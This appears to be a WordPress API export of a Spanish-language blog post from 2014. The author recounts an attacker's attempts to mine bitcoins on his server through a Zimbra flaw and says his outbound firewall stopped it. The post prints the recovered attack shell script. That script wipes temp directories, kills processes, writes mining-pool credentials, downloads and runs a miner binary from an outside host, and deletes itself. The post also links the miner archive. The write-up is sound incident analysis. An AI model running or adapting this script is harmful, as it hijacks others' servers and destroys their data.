{"id":895,"date":"2014-01-25T10:32:50","date_gmt":"2014-01-25T16:32:50","guid":{"rendered":"https:\/\/www.lastdragon.net\/?p=895"},"modified":"2014-01-25T10:35:01","modified_gmt":"2014-01-25T16:35:01","slug":"minando-bitcoins-con-vulnerabiliades-de-zimbra","status":"publish","type":"post","link":"https:\/\/www.lastdragon.net\/?p=895","title":{"rendered":"Minando Bitcoins con vulnerabiliades de Zimbra"},"content":{"rendered":"<p>Ten\u00eda mucho tiempo que alguien no se esforzaba por intentar tomar algo de la cueva del drag\u00f3n de forma seria, todos los d\u00edas lo intentan pero la mayor\u00eda de los lamers son ni\u00f1os que si no sale el ataque a la primera renuncian. Se dan cuenta muy r\u00e1pido que est\u00e1n jugando en otra liga.<\/p>\n<p>Sin embargo desde hace mucho tiempo hay alguien que no se ha dado por vencido, si motivaci\u00f3n es definitivamente mas \u201cmotivadora\u201d no busca fama sino dinero, es un minero de bitcoins que piensa que puede minar bitcoins en la cueva del drag\u00f3n y es por eso por su ambici\u00f3n que no ha dejado de intentarlo, al principio era un lamersito mas, pero ha investigado, realmente se ha esforzado. Incluso me ha dado ternura y para reconocer su esfuerzo he bajado la dureza de la cueva para que no desista, para que sienta que est\u00e1 avanzando. No se si ser\u00e1 la misma persona, pero lo han estado intentando desde Julio del 2013 mucho tiempo y aun no pierde la fe.<\/p>\n<p>El ataque va dirigido a Zimbra que para quien no lo conozca es un groupware que est\u00e1 escrito  y soportado en Java, tiene algunas vulnerabilidades que permiten a un atacante ingresar al sistema, incluso hace unos d\u00edas han salido vulnerabilidades 0day.<\/p>\n<p>El \u00fanico problema que tiene un atacante con atacar 0day la cueva del drag\u00f3n es que la cueva del  drag\u00f3n es Anti 0day , de poco o nada sirve tener un exploit que no puedes usar en la cueva del drag\u00f3n aun sabiendo que la vulnerabilidad est\u00e1 ah\u00ed presente.<\/p>\n<p>Recuerden que tengo art\u00edculos para hacer <a href=\"https:\/\/www.lastdragon.net\/?p=723\">servidores inhackeables<\/a> y otros art\u00edculos que podr\u00edan hacer que el arte del hackear p\u00e1ginas web o servidores se vuelva obsoleto y frustrante.<\/p>\n<p>En los primeros intentos este atacante inyecto directamente los binarios de un programa de miner\u00eda de bitcoins, debi\u00f3 ser frustrante darse cuenta que no pod\u00eda ejecutarlos, por supuesto el servidor de la cueva de inmediato se alerto y me mando mensajitos de Oye Drag\u00f3n , ya viste lo que hace este hackersito\u2026 y si fui a ver , vi el ataque como un fracaso total. Por supuesto que el Zimbra est\u00e1 vulnerable, pude decidir simplemente desinstalarlo o actualizarlo. El problema es que si lo desinstalaba el juego terminar\u00eda, es la \u00fanica vulnerabilidad que permite \u201cejecutar\u201d cosas dentro del servidor. Por supuesto mi preocupaci\u00f3n es igual a CERO, para los que llevan a\u00f1os ley\u00e9ndome saben que cada determinado tiempo hago retos en servidores reales donde incluso para ahorrarles el tiempo de buscar un exploit y entrar, yo mismo les entrego acceso directo por telnet o ssh ,  con cuentas validas, pr\u00e1cticamente servido en bandeja de plata y aun as\u00ed el reto ha sido muy pocas veces superado y cuando lo fue , fue por un error m\u00edo que aunque no vale, cuenta.<\/p>\n<p>El \u00faltimo intento es algo interesante, en lugar de ingresar los binarios que el atacante ya sab\u00eda que no se iban a ejecutar decidi\u00f3 enviar Shell script que al no ser un programa binario podr\u00eda ser ejecutado o mejor dicho interpretado y por medio de ellos lanzar el ataque y por fin ponerse a minar y tambi\u00e9n tomo medidas para evitar que me diera cuenta, despu\u00e9s de lanzar el ataque el script se autodestruye borr\u00e1ndose con el comando rm y efectivamente el script se borra.<\/p>\n<p>Es una pena que detr\u00e1s de tanto esfuerzo con unos sencillos movimientos del teclado haya resucitado el archivo eliminado cual carta de yugioh sacada del cementerio. El archivo es el siguiente.<\/p>\n<p><code>#!\/bin\/bash<\/p>\n<p># add way to kill the exact name of a \"spoofed\" proc name of a skiddie <\/p>\n<p>bot..<\/p>\n<p># rm oldz<br \/>\nrm -rf \"\/tmp\/kpoll\"<br \/>\nrm -rf \"\/tmp\/dsys\"<br \/>\nrm -rf \"\/tmp\/ksys.cfg\"<br \/>\nrm -rf \"\/tmp\/dsys.cfg\"<br \/>\nrm -rf \"\/var\/tmp\/\"<\/p>\n<p># kill existing procs\/could change this to map w\/readlink & proc<br \/>\nkillall kpoll<br \/>\nkillall dsys<br \/>\nkillall minerd32<br \/>\nkillall minerd64<br \/>\nkillall b<br \/>\nkill -9 $(pidof kpoll)<br \/>\nkill -9 $(pidof dsys)<br \/>\nkill -9 `pgrep -f stratum`<br \/>\nkill -9 `pgrep -f java`<\/p>\n<p># write new conf file<br \/>\n(cat < <- _EOF_\n{\n\"url\" : \"stratum+tcp:\/\/mining.eu.hypernova.pw:3333\",\n\"user\" : \"rastamine.zb\",\n\"pass\" : \"908jlk4\",\n\"quiet\" : true\n}\n_EOF_\n) > \/tmp\/ksys.cfg<\/p>\n<p># download and exec miner corresponding to arch<br \/>\nARCH=$(uname -m)<br \/>\nNAME=\"\/tmp\/kpoll\"<\/p>\n<p>wget -q http:\/\/abksprings.co.za\/v\/m_`uname -m` -O \"$NAME\"<br \/>\nchmod +x $NAME<br \/>\neval \"$NAME -B -c \/tmp\/ksys.cfg 2> \/dev\/null\"<br \/>\nchk=`pidof kpoll`<br \/>\nif [ ! -z \"$chk\" ]<br \/>\nthen<br \/>\n     echo \"$chk\"<br \/>\nfi<\/p>\n<p># once our cmd is in memory there's no need to keep the conf\/bin<br \/>\nrm -rf \"\/tmp\/ksys.cfg\"<br \/>\nrm -rf \"\/tmp\/kpoll\"<br \/>\nrm -rf \"\/tmp\/z.sh\" # self destruct :P<\/code><\/p>\n<p>Apoco no da ternura en SELF DESTRUCT pone una carita sonriente, seria una pena que el script se ejecuta en un servidor que ha sido asegurado por Last Drag\u00f3n en persona <img decoding=\"async\" src=\"https:\/\/www.lastdragon.net\/misarchivos\/burla\/risalagrimas.gif\" alt=\"\" \/><\/p>\n<p>Impresionante \u00bfno? He de reconocer que se ha esforzado mucho, claro que si hubiera le\u00eddo mi art\u00edculo de <a href=\"https:\/\/www.lastdragon.net\/?p=723\">servidores inhackeables<\/a> sabr\u00eda que un servidor de internet recibe conexiones no las inicia, los que inician las conexiones son los clientes por lo que no tiene sentido permitir que una conexi\u00f3n inicie desde el servidor, aunque logro ejecutar su programa de miner\u00eda desafortunadamente se estrello de cara contra el muro, si contra el firewall. <\/p>\n<p>Pienso en que para reconocer su esfuerzo deber\u00eda liberar la conexi\u00f3n que quiere del firewall dejarlo que intente minar en mi cueva pero, yo se que no le va a dar tiempo, en unos d\u00edas tenia y tengo planeado hacer un art\u00edculo de c\u00f3mo respaldar Zimbra OpenSource para actualizarlo y su posterior restauraci\u00f3n y al hacer ese art\u00edculo pues el Zimbra vulnerable ser\u00eda reemplazado por uno que no es vulnerable, por eso aunque no quisiera que el juego termine, yo dir\u00eda que llego a su limite de tiempo, lo deje tratar y tratar por mucho tiempo pero ya es hora de poner fin no por mala gente si no porque quiero escribir un art\u00edculo que entra en conflicto con lo que este atacante est\u00e1 haciendo.<\/p>\n<p>Por cierto lo interesante de tener un sitio que es blanco de muchos ataques es que yo mismo no tengo que ir a buscar los exploit, gracias a todos los ni\u00f1os que mientras juegan al hacker me traen xploit que de otra forma yo mismo tendr\u00eda que ir a buscar.<\/p>\n<p>El programa de miner\u00eda si alguno le interesa es el siguiente. <a href=\"https:\/\/www.lastdragon.net\/misarchivos\/mineria.tgz\">Mineria.tgz<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ten\u00eda mucho tiempo que alguien no se esforzaba por intentar tomar algo de la cueva del drag\u00f3n de forma seria, todos los d\u00edas lo intentan pero la mayor\u00eda de los lamers son ni\u00f1os que si no sale el ataque a la primera renuncian. Se dan cuenta muy r\u00e1pido que est\u00e1n jugando en otra liga. Sin&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-895","post","type-post","status-publish","format-standard","hentry","category-hackers-and-tools"],"_links":{"self":[{"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/posts\/895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=895"}],"version-history":[{"count":3,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/posts\/895\/revisions"}],"predecessor-version":[{"id":898,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=\/wp\/v2\/posts\/895\/revisions\/898"}],"wp:attachment":[{"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lastdragon.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}